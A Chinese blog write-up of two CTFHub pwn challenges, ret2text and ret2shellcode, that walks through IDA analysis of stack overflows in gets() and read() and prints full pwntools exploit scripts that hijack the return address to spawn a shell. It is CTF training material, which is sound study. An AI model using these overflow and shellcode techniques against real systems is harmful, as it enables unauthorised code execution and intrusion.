CTFHub之pwn

ret2text

分析

首先检查一下保护机制:

所有安全措施 CANARY/FORTIFY/NX/PIE 都关闭了,说明该题不需要复杂的绕过操作。接下来,把文件丢到IDA中,先看看 main 函数的源代码:

只是简单的输入和输出,并没看到跟 flag 相关的信息。继续看,发现还有个 secure 函数

函数中调用了 system('/bin/sh')

所以猜测获取 flag 是通过执行 system 获得 shell,然后再执行命令。

从 IDA 中可以看出,pwn 程序只有这两个用户函数,其他的都是库函数。因此答案就在这两个函数中。停下来想想我们已知的内容:

  • main 函数调用了 gets(),且未限制长度,存在栈溢出,是解题的入口

  • secure 函数调用了 system('bin/sh'),是解题的出口

main 函数的栈帧应该是这样的:

 

 

追踪过程

  1. 局部变量 s 是用户可以通过 gets() 输入的,只要达到特定的长度 L,就能覆盖掉黄色的返回地址

  2. 返回地址,也就是 EIP 指向 system('/bin/sh') 所在语句对应的内存地址就能获得shell

对此,需要获取两个关键值:

要填充的数据长度L: 要覆盖掉 EBP

system('/bin/sh') 调用语句的内存地址

第一步:利用反汇编,查看变量的位置,为 [rbp-0x70]。由于是64位系统,要覆盖掉ebp,就要+8字节。因此 L = 0x70 + 8

详细步骤如下:

打开主函数的那一栏,按F5反汇编成c语言,双击变量v4,跳转到对应的地址,如下:

第二步:还是用反汇编,获取到system函数的地址。由于要完整调用,所以取lea指令的位置:0x00000000004007b8,也就是0x4007b8

详细步骤如下:

选中secure函数

在上面的边栏选中第一个IDA View-A,如下:

光标移动到/bin/sh,即lea rdi command,点击空格一下,再点一次会跳回来,找到了system函数的地址0x00000000004007b8,也就是0x4007b8,如下:

至此,所需要找的变量和地址均已完成。

编写exp

python3的代码:

from pwn import *
host = 'challenge-1416976ff9c1cada.sandbox.ctfhub.com'
port = 36946
#host是网站地址,port是端口

#p = process("./pwn")
p = connect(host, port)
payload = bytes('A',encoding="utf8") * (0x70+8) + p64(0x4007b8)#类型不同不能拼接`
p.sendline(payload)
p.interactive()

 

结果

得到flag如下:

 

 

 

 

ret2shellcode

检查保护

64位程序,啥保护都没开

ida打开看看

很明显,输入点是read函数,buf长度只有0x10,而读入的长度是0x400,足以构造shellcode

注意:在buf后还有一个var_8,而后才是leave;ret

思路:

利用python生成shellcode存放到buf中,返回的时候地址劫持到buf上,在栈上直接进行(反正保护也没开),获得shell

exp

from pwn import*

context(log_level='debug',os='linux',arch='amd64')

#io=remote('47.98.148.7',26271)
io = process('/home/kali/文档/题目/pwn/BUUCTF/pwn')
#elf=ELF('/home/kali/文档/题目/pwn/BUUCTF/pwn')

junk=b'a'*(0x10+8)
shellcode=asm(shellcraft.sh())
buf_addr=io.recvuntil("]")
buf_addr=int(buf_addr[-15:-1],16)
shellcode_addr=buf_addr+0x18+8

payload=junk+p64(shellcode_addr)+shellcode
io.sendline(payload)
io.interactive()

2022/03/16



posted @ 2022-03-17 10:17  vi0let  阅读(360)  评论(0编辑  收藏  举报